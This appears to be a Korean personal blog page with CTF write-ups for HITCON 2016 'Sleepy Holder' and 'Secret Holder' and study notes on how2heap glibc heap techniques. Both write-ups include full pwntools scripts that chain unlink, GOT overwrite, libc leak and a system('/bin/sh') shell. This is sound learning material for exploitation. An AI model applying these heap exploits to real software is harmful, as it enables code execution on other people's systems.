2016 Hitcon sleepy holder
Secret holder 과 비슷하지만 huge 청크를 한 번만 할당할 수 있고 wipe와 renew를 못 한다.
small 과 big으로 keep을 한 다음에 small 을 wipe하고 huge로 keep을 하면 fastbin이였던 wipe된 small이
unsorted bin으로 가서 fd와 bk에 main_arena+88 있다. 그 뒤에 다시 small을 wipe하면 fastbin으로 들어갈 것이다.
이제 unlink를 조작해서 전역변수 영역에 할당을 시킨 다음에
secret holder처럼 small big 포인터를 함수 got로 덮어서 릭하고 공격하면 된다.
함수 주소를 릭하고 그걸로 base를 구해서 base로 system 함수를 구한 다음에 포인터를 system으로 하고 할당을 할 때 인자를 "/bin/sh\x00" 으로 해서 쉘을 땄다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import* p = process("./SleepyHolder") elf = ELF("./SleepyHolder") atoi_got = elf.got["atoi"] free_got = elf.got["free"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] def keep(size,content): p.sendlineafter("3. Renew secret\n","1") p.sendlineafter(" forever\n",str(size)) print p.recv(1024) p.send(content) def wipe(size): p.sendlineafter("3. Renew secret\n","2") p.sendlineafter("2. Big secret\n",str(size)) def renew(size,content): p.sendlineafter("3. Renew secret\n","3") p.sendlineafter("2. Big secret\n",str(size)) print p.recv(1024) p.send(content) buf = 0x6020d0 print p.recvuntil("up ...") sleep(3) keep(1,"A"*4) keep(2,"B"*4) wipe(1) keep(3,"C"*4) wipe(1) payload = p64(0) payload += p64(0) payload += p64(buf-0x18) payload += p64(buf-0x10) payload += p64(0x20) p.sendlineafter("3. Renew secret\n","1") p.sendlineafter("Big secret\n",str(1)) print p.recv(1024) p.send(payload) wipe(2) payload = p64(0) payload += p64(atoi_got) #2 payload += p64(puts_got) #3 payload += p64(free_got) #1 payload += p64(1)*3 renew(1,payload) renew(1,p64(puts_plt)) wipe(2) atoi_leak = u64(p.recv(6)+"\x00\x00") base = atoi_leak - 0x36e80 system = base + 0x45390 print "LEAK: " + hex(atoi_leak) print "base: " + hex(base) renew(1,p64(system)) keep(2,"/bin/sh\x00") p.interactive() | cs |
'CTF' 카테고리의 다른 글
2017 codegate Babypwn (2) | 2018.01.25 |
---|---|
2016 WITHcon Malloc (0) | 2018.01.22 |
2016 Hitcon secret holder (0) | 2018.01.21 |
2017 Codegate messenger (0) | 2018.01.06 |
2014 Plaid CTF Ezhp (0) | 2018.01.04 |
2016 Hitcon secret holder
청크 관리 연습할 때 도움이 된다는 Histcon의 holder 시리즈... 풀어 봤다.
너무 어렵다.. 풀이를 엄청 본 것 같다.
1,2,3 사이즈로 전부 할당을 한 다음에 다시 전부 free 시켜서 병합이 되게 한 다음 다시
huge를 할당하면 40만을 할당함에도 불구하고 탑 청크 사이즈가 늘어나서 heap에 할당이 된다 .ㅋㅋㅋㅋ
그렇게 되면 renew로 huge를 조작할 수 있으니까 40만큼을 마음대로 조작할 수 있다.
그래서 huge안에 big, small을 keep 해서 fake를 자유자재로 만들 수 있게 한다.
fake chunk를 만들 때 prev_size size를 조작해서 데이터 주소를 청크헤더로 인식시키는 게 인상적이였다.
또 fake_chunk를 만들 때 여러 오류들을 피하기 위해 여러 청크를 만든다는 게 어려웠다.
unlink 를 이용하여 전역변수에 할당할 수 있게 하고 전역변수를 함수 got들로 덮음으로써 릭과 공격을 할 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 | from pwn import* p = process("./SecretHolder") elf = ELF("./SecretHolder") def keep(size,content): p.sendlineafter("3. Renew secret\n","1") p.sendlineafter("3. Huge secret\n",str(size)) print p.recv(1024) p.sendline(content) def wipe(size): p.sendlineafter("3. Renew secret\n","2") p.sendlineafter("3. Huge secret\n",str(size)) def renew(size,content): p.sendlineafter("3. Renew secret\n","3") p.sendlineafter("3. Huge secret\n",str(size)) print p.recv(1024) p.sendline(content) attack = 0x6020a8 keep(1,"A"*40) keep(2,"B"*40) keep(3,"C"*40) wipe(1) wipe(2) wipe(3) keep(3,"a"*24) #locate in small wipe(1) #same address between huge and small keep(1,"b"*24) # Reference Malloc.c!!!! keep(2,"c"*24) payload = p64(0x0) payload += p64(0x21) payload += p64(attack-24) payload += p64(attack-16) payload += p64(0x20) payload += p64(0x90) payload += "a"*0x80 payload += p64(0x90) payload += p64(0x91) payload += "b"*0x80 payload += p64(0x90) payload += p64(0x21) renew(3,payload) wipe(2) wipe(1) payload = "\x00"*24 payload += p64(elf.got["free"]) payload += "\x20" p.sendlineafter("3. Renew secret\n","3") p.sendlineafter("3. Huge secret\n","3") print p.recv(1024) p.send(payload) p.sendlineafter("3. Renew secret\n","3") p.sendlineafter("3. Huge secret\n","3") print p.recv(1024) p.send(p64(elf.plt["puts"])) wipe(1) main_arena = u64(p.recv(6)+"\x00\x00") - 88 base = main_arena - 0x3c4b20 system = base + 0x45390 print "main_arena: " + hex(main_arena) print "base: " + hex(base) print "system: " + hex(system) p.sendlineafter("3. Renew secret\n","3") p.sendlineafter("3. Huge secret\n","3") print p.recv(1024) p.send(p64(system)) keep(1,"/bin/sh") wipe(1) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2016 WITHcon Malloc (0) | 2018.01.22 |
---|---|
2016 Hitcon sleepy holder (0) | 2018.01.21 |
2017 Codegate messenger (0) | 2018.01.06 |
2014 Plaid CTF Ezhp (0) | 2018.01.04 |
tuCTF guest_book (2) | 2017.12.03 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
how2heap unsorted_bin_attack
링크 [출처: shellphish]
1. p를 400 만큼 할당을 한다.
2. free 됐을 때 top chunk 와 병합하지 않게 사이즈가 500 다른 청크를 만들어준다.
3. p를 free한다.
4. free된 청크 p의 fd와 bk에는 p가 small bin이라 free가 됐을 때 unsorted bin에 관리가 돼서 main_arena+88의 주소가 있다. 그래서 bk를 스택에 있는 변수의 주소 -8(32bit) or 16(64bit) 를 해준다. 그러면 free가 이전 청크가 있다고 판단을 하여 다음에 malloc 를 하면 bk+ 8 or 16 에 해준다.
5. 400만큼 할당을 하면 bk 가 변수 주소 - (8 or 16) 이기 때문에 할당됐을 때 변수의 주소로 할당이 된다. free된 chunk 를 bin 에서 제거하는 과정에서 bk+0x10에 fd를 넣기 때문에 할당을 하면 변수에 main_arena+88 값이 들어간다.
#-8과 -16은 32bit 와 64bit 기준으로 청크의 fd에 해당한다.
'Documents > how2heap' 카테고리의 다른 글
how2heap house_of_lore (0) | 2018.03.02 |
---|---|
how2heap house_of_force (0) | 2018.02.20 |
how2heap poison_null_byte (0) | 2018.01.16 |
house_of_einherjar (0) | 2018.01.15 |
first_fit & unsafe unlink (0) | 2018.01.08 |
how2heap poison_null_byte
문서링크는 Poison_null_byte
필요한 조건: 이미 할당된 청크 사이즈와 prev_size를 조작할 수 있어야 한다. 0x200만큼 할당이 가능해야 한다. off_by_one 취약점이 있어야 한다.
fastbin 할당이 자유로워야 한다.
1. a를 0x100, b를 0x200, c를 0x100으로 할당한다.
2. b의 사이즈를 0x211에서 0x200으로 바꾼다.
3. 그리고 b의 데이터 부분+ 0x200이 되는 주소에 0x200을 넣어준다. #chunksize(P) != prev_size (next_chunk(P))<-얘 때문에 청크의 data부분 - 0x10(청크의 헤더) + 0x210(b의 사이즈) = 다음 청크의 prev_size주소, 즉 다음 청크라고 구한 주소에 값을 넣어줘야함.
4. b를 free한다.
5. a에서 off_by_one을 이용해서 b의 사이즈를 덮는다. #0x211에서 0x200으로
6. c의 prev_size를 0x200으로 바꾼다.
7. b1(0x100)과 b2(0x80)을 할당한다. #b1을 할당하면 b가 있던 주소로 할당이 될 것이고, b2은 b1청크 바로 뒤에 있을 것이다.
8. 이제 b1과 c를 free한다. #이 과정에서 병합이 b1과 c가 병합된다. 0x200+0x100 = 0x300
9. 이제 0x300만큼 할당하면 b1의 주소에 할당이 될 것이고 b2의 값을 조작할 수 있다.
'Documents > how2heap' 카테고리의 다른 글
how2heap house_of_force (0) | 2018.02.20 |
---|---|
how2heap unsorted_bin_attack (0) | 2018.01.17 |
house_of_einherjar (0) | 2018.01.15 |
first_fit & unsafe unlink (0) | 2018.01.08 |
fastbin_dup & fastbin_dup_into_stack (0) | 2018.01.03 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
house_of_einherjar
도움이 많이 됐던 문서: Lazenca 님의 블로그.
문서링크는 House_of_einherjar [출처: shellphish]
청크 a(0x38),b(0xf8)를 할당한다.
스택(Bss 영역이나 Heap 영역의 주소를 안다면 그곳에 해도 된다.)에 fake chunk 를 만든다.
(청크 구조: prev_size(0x100) | size(0x100) | fd(&fake_chunk) | bk(&fake_chunk))
(prev_size 를 0x100으로 하는 이유는 P->bk->size == P->prev_size 를 우회하기 위해서다.)
(size를 0x100으로 하는 이유는 size를 small bin으로 유지시키기 위함이다.)
이제 Overflow 를 이용해서 청크 b의 Header를 조작해야 한다.
b는 0xf8로 할당했을 때 gdb로 chunk 구조를 보면 사이즈가 0x101(Prev_size[4 byte] + size[4 byte] + prev_inuse[1 byte] + data[0xf8]) 이 된다.
그렇게 된다면 overflow 로 header를 조작할 때 사이즈인 0x101 에서 prev_inuse 인 1만 빼주면 0x100으로 간단하게 조작할 수 있게 된다.
size는 그렇게 해주고 prev_size를 조작하는 게 중요하다. 왜냐하면 병합할 때 prev_size를 기준으로 병합하기 때문이다.
Unlink를 할 때 &chunk - prev_size를 한 주소에서 병합이 된다. &b는 청크 b의 데이터영역의 주소다. 0x10을 빼는 이유는 헤더부분을 제외하기 위해서다. &b-0x10 = &b_address 라고 하겠다.
prev_size는&b_address - &fake_chunk 를 해준다. (설명: 계산을 했을 때 &b_address - &fake_chunk = offset 라고 가정을 하고 이 offset을 prev_size라고 설정하고 나중에 b를 free하게 되면 &b_address - offset 을 했을 때 &fake_chunk가 된다.
a-b = c 일 때 a-c = b와 같은 원리이다.)
그리고 offset을 fake_chunk의 size에 넣어준다. 그러면 size(P) == prev_size(next_chunk(P)) 부분을 우회하게 된다.
이제 다시 할당하면 스택에 할당이 된다.
'Documents > how2heap' 카테고리의 다른 글
how2heap house_of_force (0) | 2018.02.20 |
---|---|
how2heap unsorted_bin_attack (0) | 2018.01.17 |
how2heap poison_null_byte (0) | 2018.01.16 |
first_fit & unsafe unlink (0) | 2018.01.08 |
fastbin_dup & fastbin_dup_into_stack (0) | 2018.01.03 |